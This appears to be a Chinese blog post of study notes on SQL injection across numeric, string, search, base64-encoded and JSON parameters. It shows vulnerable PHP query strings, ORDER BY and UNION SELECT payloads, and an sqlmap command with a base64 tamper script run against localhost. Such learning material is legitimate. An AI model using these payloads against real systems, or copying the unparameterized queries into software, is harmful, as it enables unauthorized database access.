sql 数据类型注入+tamper

数据类型

数字型 0-9

查询语句:

$sql="select * from sy_guestbook where id=$i";

字符型 a-z 中文 标点符号 加入了单引号

查询语句:

$sql="select * from sy_guestbook where gTpl='$g'";
simple' order by 16--+

select * from sy_guestbook where gTpl='simple' order by 16--+'


搜索型 在基础上又加入的通配符

查询语句:

$sql="select * from sy_guestbook where gName like '%s%
演示%' UNION+ALL+SELECT+1,datab,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and %'=


select * from sy guestbook where gName like %演示%' UNION+ALL+SELECT+1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'='%' 

编码型 数据以编码值传递

 查询语句:

$param = base64_decode($_GET['param']);

$sql = "SELECT * FROM users WHERE id = '$param'"

加密型 数据以加密的密文去发送
 

格式型 JSON
数据进行编码接受处理:发送编码值,对方常会进行解码后带入数据在进行SQL执行在注入的时候,我们也要尝试对注入的Payload进行编码后提交

分为键名和键值,类似py的字典。

这个需要注意的就是单引号的闭合,双引号是不作为值传入到源码里面进行处理的,从源码里面我们也可以知道只需要闭合单引号即可,至于{}这个符号,是josn自带的,这个不用考虑。

总结:

(开发程序里面,数字不需要单引号,字符需要单引号 双引号去概括的
需要考虑到符号的闭合 才能正确去执行SQL 完成SQL注入)

我在本地尝试了编码型base64

?param=MQ==

tamper

因为进行了base64编码,sqlmap直接跑是跑不出的

因为我们人知道这是base64,但是他不知道

那么!!!

这个时候就可以用到!!!

tamper!!!

Sqlmap的脚本都在tamper目录下

sqlmap.py -u "http://localhost/?param=MQ==" --tamper=base64encode.py

好的已经见识到tamper的魅力了

 

  • 10
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值